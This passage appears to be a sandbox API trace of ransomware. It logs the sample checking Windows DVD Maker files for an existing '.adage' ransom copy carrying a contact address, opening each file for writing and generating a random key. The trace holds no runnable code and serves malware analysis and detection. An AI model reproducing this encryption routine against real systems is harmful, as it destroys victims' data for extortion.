(normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\bandwidth.png")) returned 0x20 [0059.112] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\bandwidth.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\bandwidth.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0059.112] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\bandwidth.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\bandwidth.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.112] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0059.112] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\blackbars80.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\blackbars80.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0059.112] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=6431) returned 1 [0059.112] CloseHandle (hObject=0x180) returned 1 [0059.112] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\blackbars80.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\blackbars80.png")) returned 0x20 [0059.112] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\blackbars80.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\blackbars80.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0059.112] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\blackbars80.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\blackbars80.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.113] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0059.113] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0059.113] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=5088) returned 1 [0059.113] CloseHandle (hObject=0x180) returned 1 [0059.113] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_buttongraphic.png")) returned 0x20 [0059.113] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_ButtonGraphic.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_buttongraphic.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0059.113] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.113] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0059.113] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0059.114] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3130) returned 1 [0059.114] CloseHandle (hObject=0x180) returned 1 [0059.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_selectionsubpicture.png")) returned 0x20 [0059.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_SelectionSubpicture.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_selectionsubpicture.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0059.114] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.114] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0059.114] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0059.114] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=5025) returned 1 [0059.114] CloseHandle (hObject=0x180) returned 1 [0059.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_buttongraphic.png")) returned 0x20 [0059.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_ButtonGraphic.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_buttongraphic.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0059.115] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.115] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0059.115] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0059.115] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3118) returned 1 [0059.115] CloseHandle (hObject=0x180) returned 1 [0059.115] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_selectionsubpicture.png")) returned 0x20 [0059.115] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_SelectionSubpicture.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_selectionsubpicture.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0059.115] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.115] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0059.115] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0059.116] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=4955) returned 1 [0059.116] CloseHandle (hObject=0x180) returned 1 [0059.116] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_buttongraphic.png")) returned 0x20 [0059.116] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_ButtonGraphic.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_buttongraphic.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0059.116] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.116] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0059.116] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0059.116] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3081) returned 1 [0059.116] CloseHandle (hObject=0x180) returned 1 [0059.116] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_selectionsubpicture.png")) returned 0x20 [0059.117] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_SelectionSubpicture.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_selectionsubpicture.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0059.117] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.117] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0059.117] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0059.117] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=543910) returned 1 [0059.117] CloseHandle (hObject=0x180) returned 1 [0059.117] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask.wmv")) returned 0x20 [0059.117] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0059.117] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.117] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0059.118] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0059.118] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=542466) returned 1 [0059.118] CloseHandle (hObject=0x180) returned 1 [0059.120] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask_pal.wmv")) returned 0x20 [0059.120] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask_PAL.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask_pal.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0059.120] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.120] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0059.120] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\scene_button_style_default_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\scene_button_style_default_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0059.121] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=5072) returned 1 [0059.121] CloseHandle (hObject=0x180) returned 1 [0059.121] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\scene_button_style_default_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\scene_button_style_default_thumbnail.bmp")) returned 0x20 [0059.121] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\scene_button_style_default_Thumbnail.bmp.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\scene_button_style_default_thumbnail.bmp.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0059.121] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\scene_button_style_default_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\scene_button_style_default_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.121] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0059.121] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0059.121] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3462) returned 1 [0059.121] CloseHandle (hObject=0x180) returned 1 [0059.121] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_buttongraphic.png")) returned 0x20 [0059.121] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_buttongraphic.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_buttongraphic.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0059.122] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.122] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0059.122] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0059.123] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3390) returned 1 [0059.124] CloseHandle (hObject=0x180) returned 1 [0059.124] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_selectionsubpicture.png")) returned 0x20 [0059.124] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_selectionsubpicture.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_selectionsubpicture.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0059.124] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.124] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0059.124] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_videoinset.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0059.124] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3214) returned 1 [0059.124] CloseHandle (hObject=0x180) returned 1 [0059.124] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_videoinset.png")) returned 0x20 [0059.124] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_videoinset.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_videoinset.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0059.125] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.125] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0059.125] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\1047x576black.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0059.126] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=4570) returned 1 [0059.126] CloseHandle (hObject=0x180) returned 1 [0059.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\1047x576black.png")) returned 0x20 [0059.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\1047x576black.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\1047x576black.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0059.126] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.126] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0059.126] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\203x8subpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0059.126] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=2820) returned 1 [0059.126] CloseHandle (hObject=0x180) returned 1 [0059.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\203x8subpicture.png")) returned 0x20 [0059.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\203x8subpicture.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\203x8subpicture.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0059.127] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\203x8subpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.127] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | 